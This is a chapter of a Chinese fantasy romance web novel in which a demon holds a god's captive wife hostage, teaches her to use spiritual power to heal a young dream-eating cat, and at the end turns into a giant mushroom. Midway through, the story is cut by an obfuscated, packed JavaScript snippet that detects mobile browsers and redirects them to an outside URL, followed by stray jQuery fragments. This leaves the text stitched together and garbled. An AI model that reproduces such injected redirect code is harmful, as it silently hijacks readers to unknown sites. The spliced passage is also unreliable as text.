素娆起先并不知道发生了什么,她安静地坐在车内,没有出声,也不试图反抗。
直到听见方荀拿自己作为要挟,让帝凌带他面见天君,这才明白自己是何处境。
明白过来后她忍不住抿着嘴笑,帝凌将她掳至九重天宫,看中的不过是她的皮相,本来他便因为她而在九重天饱受非议,现在怎么可能为了她而带这大妖去面见天君。
她的笑容里有些许不屑,似乎是觉得方荀身为实力强悍的大妖,脑子却如此简单。
她的这个笑容在方荀掀开车帘的下一秒落入了他的眼中,他先是愣了愣,然后破防了。
“你笑什么?”他咬牙切齿:“我问你笑什么?”
素娆瞬间将笑容收了回去。
她不笑了,只是闭着唇安安静静地注视着方荀。
她的平静令方荀的暴怒也显得如此滑稽。
他冷笑了几声,不说话了,在芙蓉浦寻了个安全之地,随手幻化出一间小院,然后把素娆扔了进去。
把她扔进院子之后,他恶狠狠告诉她,什么时候帝凌答应他的条件,什么时候他就放了她。
素娆仿佛不会有情绪的波动,方荀以为自己的态度已经足够恶劣,足以吓哭这个娇滴滴的小娘子,却没想到素娆只是点了点头,就这样平静地接受了自己的命运。
方荀有些摸不着头脑。
更让他摸不着头脑的还有素娆平日里的行为。
她喜欢搬一把椅子坐在院落门口,抬首望着院外开得正盛的一树花,有时候她也会对更远处的风景感兴趣,但她最多只是站在门口遥遥地望着,从不踏出院门一步。
方荀观察了她许久,终于有一天忍不住问她:“你要是喜欢外面那棵树,你就走出去看看呗,为什么只在门口看?”
素娆在这时才露出了讶异的表情,她的声音里也有些许惊讶:“你允许我离开这个院子?”
方荀听笑了:“老子只是抓你做人质,又不是跟你有仇要把你关起来,整个芙蓉浦你想去哪里就去哪里,反正这里有圣灵族的结界,我也不担心你跑回去找帝凌。”
不知是不是方荀的错觉,素娆眼里似乎有泪光闪烁,下一秒她低下头,突然耸着肩膀笑了起来。
方荀看愣了。
他开始怀疑自己到底拐了个什么样的人回来?
当天下午素娆便出了门。
芙蓉浦很大,她没敢走得太远,只是在树底下站了会儿,然后在不远处逛了逛,天还大亮着便回到了院落。
第二天她走得更远了些,归来时天已擦黑。
第三日她走得更远了,回来的时候天已经黑透,有一二星子的光透过密林洒下来,照在院落前的那棵花树上。
行至院前她停下了步子。
今日方荀竟然在门口等着她。
“芙蓉浦乃一原始密林,其间生活着很多远古异兽,它们大多在夜间出行。你若是回来太晚被它们叼了去,我可救不了你。”见到她回来后,方荀不咸不淡地扔下这句话便转身进了屋。
素娆站在原地注视着他的背影,愣了好一会儿才继续抬步向前,走进院子后细心地将院门锁上。
自那以后她每次外出都像是掐准了时间,每日归来时都是天色欲晚将黑未黑的时候。
方荀倒也如之前所言那般,放任她随便外出,从来不过问。
直到有一日她主动找到他,怀里抱着一只幼小瘦弱的灵兽。
“你……能不能帮忙救救它?”她的目光看起来有些潮湿,比那受了伤的小兽还要委屈可怜。
方荀看得眉头一蹙:“你从哪里捡回来的?”
他与帝凌的僵持还在继续,虽然他将帝凌的夫人掳至了芙蓉浦,但那厮完全没有同他商量的意思,只一味让天君将芙蓉浦围住。
他如今可谓是进退两难,因此在见到素娆时并没有什么好脸色:“你知道你怀里抱着的是什么?它是无相魇猫,可穿梭梦境啃食执念,被它的赤金瞳孔所凝视过的人都会逐渐遗忘自己相熟的人与事。四海八荒皆称它为凶兽,你还敢将它抱回来?”
“穿梭梦境也好,啃食执念也罢,这些都是它的能力,为什么要因为它天生便拥有的能力而见死不救呢?如果可以选择的话,它未必愿意因为拥有这些能力而被四海八荒视作凶兽呀。”素娆有些着急,她的语速难得加快:“况且它还这么小,它并没有害过谁。”
她所说的这番话不知是哪一句触动了方荀,他沉默地注视了她片刻,然后将目光移到她怀中的小兽身上:“它伤得不算太重,只是因为长时间没有得到照顾而变得虚弱,想来它的母亲是遇见了更为强大的异兽,已经不在了。”
最后他道:“你每日用灵力温养它半个时辰即可。”
素娆却露出了为难的表情。
方荀饶有兴味地观察着她,然后问道:“你不会不知道该如何控制灵力吧?”
素娆抿了抿嘴,然后点了点头,语气诚恳地对他道:“我确实不知道如何控制灵力,所以能不能请你帮帮忙,帮我用灵力温养它?”
“你身为帝凌之妻,怎会不知道如何使用灵力?若是没有灵力,在九重天宫岂非举步维艰?”方荀倒是颇为讶异:“虽说你是凡人,但我能感受到你身上有微弱的灵力波动,想来帝凌给你服用过可以延长寿元的灵丹。你的灵海已启,他为何不亲自教你?”
“因为在九重天上时,我并不能离开帝凌府邸半步。正因我是凡人之躯,所以此生也无望逃离九重天,他自然不会教我如何控制灵力。”素娆的回答可谓坦诚,坦诚得令方荀感到不可置信。
他万万没有想到,素娆成为神君之妻居然是被迫的。
若按照方才的说法,在九重天宫的她岂非失去自由。
他突然就理解了素娆最开始的那些行为。
在九重天上被囚禁得太久,她似乎已经接受自己的活动范围都受到旁人掌控。
他的目光里流露出一丝震撼,还有一抹懊悔。
仿佛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302206|144614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
突然间觉得自己做了一件罪大恶极的事。
素娆举起怀中虚弱的小兽,再一次执着地问他:“那你可以救救它吗?”
方荀再次陷入沉默,只是这次静默之间两人的气氛已与往常不同了。
“你自己捡回来的灵兽自己想办法去救。”他望一眼素娆怀中虚弱的魇猫幼崽,又望一眼素娆期盼的目光,最后妥协般地道:“不过我可以教你如何控制灵力。”
素娆在听见他的前半句话时目光一暗,听到他说可以教自己控制灵力,她的眼中又瞬间焕发了光彩。
此后一段时间素娆都没有出门,白日里她在方荀处学习如何控制灵力,晚上则小心翼翼地用自身灵力滋养魇猫幼崽。
如此过去大半个月,她已经能熟练地调动灵力疗愈灵兽,那只魇猫也逐渐痊愈。
它似乎将素娆视作了自己的母亲,每日都黏在她的身边,竖着尾巴在她的脚边绕圈,一步也不肯离开。
方荀兴致好时会在院中看素娆与魇猫玩耍,一人一猫追逐着在院落前的花树下疯跑,素娆的笑声张扬,她脸上的笑意也不似最初那般淡然平静得近乎麻木,她再也不是一副仿佛什么事情都无法激发出她兴趣的模样。
粉色的花瓣随风落下,坠落在她的肩头,飘洒在她的裙裾之间,他突然感到眼前这个女子极具生命力,比他从前见过的任何一个女子都要灵动。
这样一个如风灵动的女子,却终日被囚禁在帝凌府邸。
他再一次感到良心不安。
于是有一天对素娆道:“你如今已经能够掌控灵力,至少有一些自保的能力,可以去更远一点的地方看看了。”
“芙蓉浦晚上的风景极美,有许多的植物在夜晚沐浴月光时才会盛开,你若是感兴趣可以自己去寻一寻。”
素娆听得眼前一亮又一亮。
当晚她便离开院子去了更远的地方,也见到了方荀所说的更美的风景。
她在一条小小的溪流畔看见一株琉璃似的野兰,九重花瓣如冰晶凝结,花蕊处流转着月华。
此外还见到一束茎干布满暗紫色鳞片的曼陀罗,那花的花冠形似骷髅,回去同方荀讲到此处见闻时他告诉她,此花每逢朔月时分便会发出婴啼般的呜咽,它的花粉很多,会在月光下随风而舞,远远望去如一团紫色迷雾。
素娆啊了一声,有些遗憾自己虽然误打误撞见到了此花,却没有看到那样奇异的景色。
慢慢地她发现方荀似乎对每一种植物都十分了解,有时候她还没有描述完见到的花草是何形貌,他便已道出它们的名称和特征。
她自然对此感到好奇,方荀也是第一次进入芙蓉浦,怎会对此间奇花异草如此熟悉?
不过彼时她自觉与他不够相熟,且她说到底是他掳来的人质,虽然十分好奇,却没有将这番话问出口。
直到一次月圆之夜,他脸色苍白地惊呼了一声不好,然后便在两人居住的院子里,当着素娆的面,缓缓变成一个巨大的蘑菇……